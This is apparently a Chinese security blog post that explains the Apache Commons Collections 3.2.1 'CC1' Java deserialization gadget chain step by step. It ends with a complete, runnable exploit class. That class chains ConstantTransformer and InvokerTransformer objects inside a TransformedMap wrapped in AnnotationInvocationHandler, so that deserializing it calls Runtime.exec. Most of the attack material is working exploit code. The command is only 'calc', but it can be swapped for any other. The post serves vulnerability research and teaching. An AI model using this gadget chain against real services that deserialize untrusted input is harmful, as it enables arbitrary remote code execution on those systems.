javaCC链1
Published on 2023-12-25 12:46 in Loading... with gr3

javaCC链1

    cc1链

    jdk:jdk1.8.0_65

    commons-collections 3.2.1

    cc1链起点是commons-collections包的Transformer接口,这个接口的transform方法接收一个对象作为参数

    package org.apache.commons.collections;
    public interface Transformer {
    Object transform(Object var1);
    }

    所以我们需要找到实现这个接口,并重写tarnsform方法的类,看其重写内容是否可以利用(IDEA找到类ctrl+h)

    看到InvokerTransformer类的构造方法和transform方法:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
    }

    image-20231224143450554

    可以看到transform使用反射机制调用方法

    input这个对象可控,在构造方法可以控制方法名和参数值以及参数类型

    用如下方式就可以利用InvokerTransformer的transform中的反射执行系统命令calc

    Runtime r = Runtime.getRuntime();
    InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});
    //it.transform(r);
    //这里需要找到调用transform方法的,然后transform参数还不知道可不可控

    继续找调用了transform方法的类,在TransformedMap类中有一个chekSetValue方法

    protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
    }
    //构造方法
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
    }

    protected构造方法只能通过类内部调用,无法在外部调用,需要找到一个内部方法调用构造方法,看到decorate方法

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    利用

    Runtime r = Runtime.getRuntime();
    InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});
    HashMap<object,object> map= new HashMap<>();
    Map transformMap = TransformedMap.decorate(map,null,InvokerTransformer);

    现在需要找到一个类去调用checkSetValue方法,看到AbstractInputCheckedMapDecorator类有一个MapEntry内部类继承了AbstractMapEntryDecorator类,MapEntry这个内部类里面有一个setValue方法

    static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;
    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
    super(entry);
    this.parent = parent;
    }
    public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return this.entry.setValue(value);
    }

    看到AbstractMapEntryDecorator类构造方法,没什么需要注意

    public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {
    protected final Map.Entry entry;
    public AbstractMapEntryDecorator(Map.Entry entry) {
    if (entry == null) {
    throw new IllegalArgumentException("Map Entry must not be null");
    } else {
    this.entry = entry;
    }
    }

    Map.Entry是一个接口,entry其实是一个键值对

    image-20231224160046876

    所以可以通过设置键值对,遍历键值对,使用entry来调用setValue方法。下面代码的entry是遍历transformMap(这是TransformedMap类的一个对象)的键值对,而TransformedMap类本身没有setValue方法,又继承了AbstractInputCheckedMapDecorator类,所以entry,setValue调用的是父类AbstractInputCheckedMapDecorator的setValue

    Runtime r = Runtime.getRuntime();
    InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});
    HashMap<object,object> map= new HashMap<>();
    map.put("a","a");//设置键值对
    Map transformMap = TransformedMap.decorate(map,null,InvokerTransformer);
    for(Map.Entry entry:transformMap.entrySet()) { //遍历键值对
    entry.setValue(r);//调用setValue
    }

    但反序列化链我们需要找到重写的readObject,如果这个重写的readObject刚好调用了setValue就很好了。总之就是根据调用关系一层层向上扒,直到找到一个readObject

    看到一个AnnotationInvocationHandler类重写了一个readObject方法调用了setValue。看构造方法和它的readObject

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
    superInterfaces.length != 1 ||
    superInterfaces[0] != java.lang.annotation.Annotation.class)
    throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
    }
    private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    // Check to make sure that types have not evolved incompatibly
    AnnotationType annotationType = null;
    try {
    annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
    // Class is no longer an annotation type; time to punch out
    throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
    if (memberType != null) { // i.e. member still exists
    Object value = memberValue.getValue();
    if (!(memberType.isInstance(value) ||
    value instanceof ExceptionProxy)) {
    memberValue.setValue(
    new AnnotationTypeMismatchExceptionProxy(
    value.getClass() + "[" + value + "]").setMember(
    annotationType.members().get(name)));
    }
    }
    }

    构造方法是默认类型-缺省,只可以在类中和同一包中调用,所以需要使用反射

    利用:

    public static void main(String[] args) throws Exception{
    Runtime r = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    HashMap<Object,Object> map = new HashMap<>();
    map.put("key","qs");
    Map transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
    Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);
    Object annotationInvocationHandler = constructor.newInstance(Override.class,transformedMap);
    serialize(annotationInvocationHandler);
    //Incompatible types. Found: 'java.lang.reflect.Method', required: 'jdk.internal.org.objectweb.asm.commons.Method'
    }
    public static void serialize(Object object) throws Exception{
    ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
    o.writeObject(object);
    }
    public static void unserialize(String file) throws Exception{
    ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
    in.readObject();
    }

    执行不了calc命令原因:

    1.AnnotationInvocationHandler类中的readObject的setValue的传入对象我们不可控,也就是没有传入我们的getRuntime对象

    2.AnnotationInvocationHandler类中的readObject的第一个if没有成功进去

    3.Runtime对象即使传进去了,也不能序列化,因为它没有实现Serializebale接口

    最终的利用:

    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object,Object> map = new HashMap<>();
    map.put("value","qs");
    Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
    Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);
    Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap);
    serialize(annotationInvocationHandler);
    unserialize("Object");

    看到ChainedTransformer,它构造方法会传入一个数组,然后调用数组里面的所有transform

    public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
    }
    /**
    * Transforms the input to result via each decorated transformer
    *
    * @param object the input object passed to the first transformer
    * @return the transformed result
    */
    public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
    }
    return object;
    }

    然后看到ConstantTransformer的transform和构造方法,他会返回传入的对象,可以用来传入Runtime对象

    public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
    }
    /**
    * Transforms the input by ignoring it and returning the stored constant instead.
    *
    * @param input the input object which is ignored
    * @return the stored constant
    */
    public Object transform(Object input) {
    return iConstant;
    }

    触发流程:反序列化触发AnnotationInvocationHandler的readObject,然后readObject调用 AbstractInputCheckedMapDecorator的setValue,此时的setValue调用checkSetValue。

    image-20231225123655119

    此时的parent是一个TransformedMap,调用TransformedMap的checkSetValue。

    image-20231225123858822

    可以看到此时的valueTransformer是ChainedTransformer,调用ChainedTransformer的transform,ChainedTransformer的transform会循环调用利用代码中数组里面的对应的类的transform。

    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),//这里调用它的transform会返回Runtime对象
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})//这里的三个InvokerTransformer的transform的调用通过反射执行了exec("calc")
    };
    package org.example;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Method;
    import java.util.HashMap;
    import java.util.Map;
    // Press Shift twice to open the Search Everywhere dialog and type `show whitespaces`,
    // then press Enter. You can now see whitespace characters in your code.
    public class Main {
    public static void main(String[] args) throws Exception{
    // Class c = Runtime.class;
    // java.lang.reflect.Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
    // Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
    // InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    // invokerTransformer.transform(r);
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object,Object> map = new HashMap<>();
    map.put("value","qs");
    Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
    Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);
    Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap);
    serialize(annotationInvocationHandler);
    unserialize("Object");
    //Incompatible types. Found: 'java.lang.reflect.Method', required: 'jdk.internal.org.objectweb.asm.commons.Method'
    }
    public static void serialize(Object object) throws Exception{
    ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
    o.writeObject(object);
    }
    public static void unserialize(String file) throws Exception{
    ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
    in.readObject();
    }
    }

    参考:https://xz.aliyun.com/t/12669

    https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.337.search-card.all.click&vd_source=772372a8c6f216ba8975276dca04045e

    posted @   qingshanboy  阅读(47)  评论(0编辑  收藏  举报
    相关博文:
    阅读排行:
    · CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
    · DeepSeek “源神”启动!「GitHub 热点速览」
    · 我与微信审核的“相爱相杀”看个人小程序副业
    · Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
    · 上周热点回顾(2.17-2.23)
    点击右上角即可分享
    微信分享提示